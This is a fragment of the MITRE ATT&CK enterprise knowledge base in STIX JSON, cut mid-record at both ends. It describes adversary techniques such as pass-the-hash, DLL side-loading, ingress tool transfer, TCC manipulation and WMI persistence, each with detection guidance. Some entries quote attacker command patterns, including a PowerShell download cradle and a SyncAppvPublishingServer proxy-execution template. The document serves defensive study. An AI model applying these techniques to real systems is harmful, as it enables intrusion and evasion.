                    "source_name": "Stealthbits Overpass-the-Hash",
                    "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
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            "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)",
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                    "source_name": "FireEye DLL Side-Loading",
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            "modified": "2025-04-15T19:59:17.126Z",
            "name": "DLL Side-Loading",
            "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "created": "2017-05-31T21:31:16.408Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1105",
                    "external_id": "T1105"
                },
                {
                    "source_name": "T1105: Trellix_search-ms",
                    "description": " Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the \"search-ms\" URI Protocol Handler. Retrieved March 15, 2024.",
                    "url": "https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence COSCMICENERGY 2023",
                    "description": "COSMICENERGY: New OT Malware Possibly Related To Russian Emergency Response Exercises. (2023, May 25). Ken Proska, Daniel Kapellmann Zafra, Keith Lunden, Corey Hildebrandt, Rushikesh Nandedkar, Nathan Brubaker. Retrieved March 18, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/cosmicenergy-ot-malware-russian-response/"
                },
                {
                    "source_name": "Dropbox Malware Sync",
                    "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.",
                    "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "t1105_lolbas",
                    "description": "LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.",
                    "url": "https://lolbas-project.github.io/#t1105"
                },
                {
                    "source_name": "PTSecurity Cobalt Dec 2016",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:59:17.217Z",
            "name": "Ingress Tool Transfer",
            "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)  A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).(Citation: Google Cloud Threat Intelligence COSCMICENERGY 2023)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "John Page (aka hyp3rlinx), ApparitionSec",
                "Mark Wee",
                "Shailesh Tiwary (Indian Army)",
                "The DFIR Report",
                "Alain Homewood",
                "Joe Wise",
                "Jeremy Hedges",
                "Selena Larson, @selenalarson",
                "Peter Oakes"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows <code>netsh interface portproxy</code> modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "2.5",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60",
            "created": "2024-02-06T16:20:41.647Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1216/002",
                    "external_id": "T1216.002"
                },
                {
                    "source_name": "4 - appv",
                    "description": "John Fokker. (2022, March 17). Suspected DarkHotel APT activity update. Retrieved February 6, 2024.",
                    "url": "https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/"
                },
                {
                    "source_name": "2 - appv",
                    "description": "Microsoft. (2022, November 3). Getting started with App-V for Windows client. Retrieved February 6, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started"
                },
                {
                    "source_name": "5 - appv",
                    "description": "Nick Landers, Casey Smith. (n.d.). /Syncappvpublishingserver.vbs. Retrieved February 6, 2024.",
                    "url": "https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/"
                },
                {
                    "source_name": "7 - appv",
                    "description": "Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved September 12, 2024.",
                    "url": "https://x.com/monoxgas/status/895045566090010624"
                },
                {
                    "source_name": "3 - appv",
                    "description": "Raj Chandel. (2022, March 17). Indirect Command Execution: Defense Evasion (T1202). Retrieved February 6, 2024.",
                    "url": "https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/"
                },
                {
                    "source_name": "1 - appv",
                    "description": "SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024.",
                    "url": "https://securelist.com/bluenoroff-methods-bypass-motw/108383/"
                },
                {
                    "source_name": "6 - appv",
                    "description": "Strontic. (n.d.). SyncAppvPublishingServer.exe. Retrieved February 6, 2024.",
                    "url": "https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:13:55.573Z",
            "name": "SyncAppvPublishingServer",
            "description": "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)\n    \nThe SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)\n\nAdversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by \"living off the land.\"(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv)\n\nFor example,  [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv)\n\n`SyncAppvPublishingServer.vbs \"n; {PowerShell}\"`",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Shaul Vilkomir-Preisman"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "Command: Command Execution",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306",
            "created": "2020-01-19T16:54:28.516Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098/002",
                    "external_id": "T1098.002"
                },
                {
                    "source_name": "Bienstock, D. - Defending O365 - 2019",
                    "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved November 17, 2024.",
                    "url": "https://www.slideshare.net/slideshow/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365/128744511"
                },
                {
                    "source_name": "Crowdstrike Hiding in Plain Sight 2018",
                    "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.",
                    "url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/"
                },
                {
                    "source_name": "Google Ensuring Your Information is Safe",
                    "description": "Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.",
                    "url": "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html"
                },
                {
                    "source_name": "Gmail Delegation",
                    "description": "Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.",
                    "url": "https://support.google.com/a/answer/7223765?hl=en"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved November 17, 2024.",
                    "url": "https://static.carahsoft.com/concrete/files/1015/2779/3571/M-Trends-2018-Report.pdf"
                },
                {
                    "source_name": "Mandiant Defend UNC2452 White Paper",
                    "description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.",
                    "url": "https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"
                },
                {
                    "source_name": "Microsoft - Add-MailboxPermission",
                    "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:47:23.761Z",
            "name": "Additional Email Delegate Permissions",
            "description": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Detection and Response Team (DART)",
                "Mike Burns, Mandiant",
                "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
                "Arad Inbar, Fidelis Security",
                "Nilesh Dherange (Gurucul)",
                "Naveen Vijayaraghavan"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Group: Group Modification",
                "Application Log: Application Log Content",
                "User Account: User Account Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15",
            "created": "2020-10-01T02:11:47.237Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/003",
                    "external_id": "T1588.003"
                },
                {
                    "source_name": "Wikipedia Code Signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Code_signing"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:05:19.685Z",
            "name": "Code Signing Certificates",
            "description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.",
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                    "phase_name": "resource-development"
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            ],
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            "x_mitre_detection": "Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Malware Repository: Malware Metadata"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a",
            "created": "2017-05-31T21:31:38.350Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1126",
                    "external_id": "T1126"
                },
                {
                    "source_name": "Technet Net Use",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "url": "https://technet.microsoft.com/bb490717.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:19.031Z",
            "name": "Network Share Connection Removal",
            "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
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                    "url": "https://attack.mitre.org/techniques/T1648",
                    "external_id": "T1648"
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                {
                    "source_name": "Microsoft DART Case Report 001",
                    "description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team"
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                    "source_name": "Backdooring an AWS account",
                    "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.",
                    "url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"
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                    "source_name": "Varonis Power Automate Data Exfiltration",
                    "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.",
                    "url": "https://www.varonis.com/blog/power-automate-data-exfiltration"
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                    "source_name": "Cloud Hack Tricks GWS Apps Script",
                    "description": "HackTricks Cloud. (n.d.). GWS - App Scripts. Retrieved July 1, 2024.",
                    "url": "https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts"
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                {
                    "source_name": "OWN-CERT Google App Script 2024",
                    "description": "L'Hutereau Arnaud. (n.d.). Google Workspace Malicious App Script analysis. Retrieved October 2, 2024.",
                    "url": "https://www.own.security/ressources/blog/google-workspace-malicious-app-script-analysis"
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                {
                    "source_name": "Cado Security Denonia",
                    "description": "Matt Muir. (2022, April 6). Cado Discovers Denonia: The First Malware Specifically Targeting Lambda. Retrieved May 27, 2022.",
                    "url": "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/"
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                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Rhino Security Labs. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
                },
                {
                    "source_name": "Rhingo Security Labs GCP Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform \u2013 Part 1 (IAM). Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/"
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            "description": "Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.(Citation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CERT Google App Script 2024)",
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            "created": "2024-03-21T21:10:57.322Z",
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                {
                    "source_name": "welivesecurity TCC",
                    "description": "Marc-Etienne M.L\u00e9veill\u00e9. (2022, July 19). I see what you did there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.",
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                    "source_name": "TCC Database",
                    "description": "Marina Liang. (2024, April 23). Return of the mac(OS): Transparency, Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.",
                    "url": "https://interpressecurity.com/resources/return-of-the-macos-tcc/"
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                {
                    "source_name": "TCC macOS bypass",
                    "description": "Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy Protections By Accident and Design. Retrieved March 21, 2024.",
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            "name": "TCC Manipulation",
            "description": "Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC)\n\nAdversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055) or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database)\n\n",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1084",
                    "external_id": "T1084"
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                {
                    "source_name": "Dell WMI Persistence",
                    "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
                    "url": "https://www.secureworks.com/blog/wmi-persistence"
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                {
                    "source_name": "Kazanciyan 2014",
                    "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks &#91;slides&#93;. Retrieved November 3, 2014.",
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf"
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                {
                    "source_name": "Mandiant M-Trends 2015",
                    "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
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                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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                {
                    "source_name": "Medium Detecting WMI Persistence",
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
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            "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)",
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            "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)",
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                    "url": "https://attack.mitre.org/techniques/T1160",
                    "external_id": "T1160"
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                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
